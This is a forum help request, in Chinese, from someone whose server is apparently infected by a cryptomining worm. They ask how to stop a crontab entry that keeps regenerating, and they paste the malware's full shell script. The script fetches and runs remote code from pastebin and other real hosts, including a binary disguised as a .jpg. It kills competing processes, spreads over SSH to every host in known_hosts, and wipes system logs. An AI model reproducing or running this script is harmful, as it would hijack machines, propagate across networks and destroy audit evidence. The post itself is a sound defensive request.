中了挖矿病毒，不会分析病毒二进制文件，怎么清除 crontab 里面任务？

*/15 * * * * (curl -fsSL https://pastebin.com/raw/v5XC0BJh||wget -q -O- https://pastebin.com/raw/v5XC0BJh)|sh
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执行 crontab -r，但还是会生成。

ll /etc/cron.d
-rw-r--r-- 1 root root 117 Apr 11 10:18 root

这个文件随时在修改, vi 保存的时候提示 WARNING: The file has been changed since reading it!!!

现在只能把 crontab 停止，然后重启机器。

这是病毒脚本

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp
chmod 1777 /tmp
rm -rf /tmp/go.sh
rm -rf /tmp/go2.sh
ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kpsmouseds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kthrotlds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kintegrityds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "suolbcc"|awk '{print $2}'|xargs kill -9
ps aux|grep -v grep|grep -v khugepageds|awk '{if($3>=80.0) print $2}'|xargs kill -9
apt-get install curl -y||yum install curl -y||apk add curl -y
apt-get install cron -y||yum install crontabs -y||apk add cron -y
systemctl start crond
systemctl start cron
systemctl start crontab
service start crond
service start cron
service start crontab

if [ ! -f "/tmp/.X11unix" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://sowcar.com/t6/696/1554470365x2890174166.jpg -o /tmp/kerberods||wget --timeout=30 --tries=3 -q http://sowcar.com/t6/696/1554470365x2890174166.jpg -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/t2D_WbHk -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/t2D_WbHk -O /tmp/kerberods) && chmod +x /tmp/kerberods
    elif [ ${ARCH}x = "i686x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://sowcar.com/t6/696/1554470400x2890174166.jpg -o /tmp/kerberods||wget --timeout=30 --tries=3 -q http://sowcar.com/t6/696/1554470400x2890174166.jpg -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/wl_bHMB1 -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/wl_bHMB1 -O /tmp/kerberods) && chmod +x /tmp/kerberods
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://sowcar.com/t6/696/1554470400x2890174166.jpg -o /tmp/kerberods||wget --timeout=30 --tries=3 -q http://sowcar.com/t6/696/1554470400x2890174166.jpg -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/wl_bHMB1 -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/wl_bHMB1 -O /tmp/kerberods) && chmod +x /tmp/kerberods
    fi
        /tmp/kerberods
elif [ ! -f "/proc/$(cat /tmp/.X11unix)/io" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://sowcar.com/t6/696/1554470365x2890174166.jpg -o /tmp/kerberods||wget --timeout=30 --tries=3 -q http://sowcar.com/t6/696/1554470365x2890174166.jpg -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/t2D_WbHk -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/t2D_WbHk -O /tmp/kerberods) && chmod +x /tmp/kerberods
    elif [ ${ARCH}x = "i686x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://sowcar.com/t6/696/1554470400x2890174166.jpg -o /tmp/kerberods||wget --timeout=30 --tries=3 -q http://sowcar.com/t6/696/1554470400x2890174166.jpg -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/wl_bHMB1 -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/wl_bHMB1 -O /tmp/kerberods) && chmod +x /tmp/kerberods
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://sowcar.com/t6/696/1554470400x2890174166.jpg -o /tmp/kerberods||wget --timeout=30 --tries=3 -q http://sowcar.com/t6/696/1554470400x2890174166.jpg -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/wl_bHMB1 -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/wl_bHMB1 -O /tmp/kerberods) && chmod +x /tmp/kerberods
    fi
        /tmp/kerberods
fi

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/HdjSc4JR||wget -q -O- https://pastebin.com/raw/HdjSc4JR)|sh >/dev/null 2>&1 &' & done
fi

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#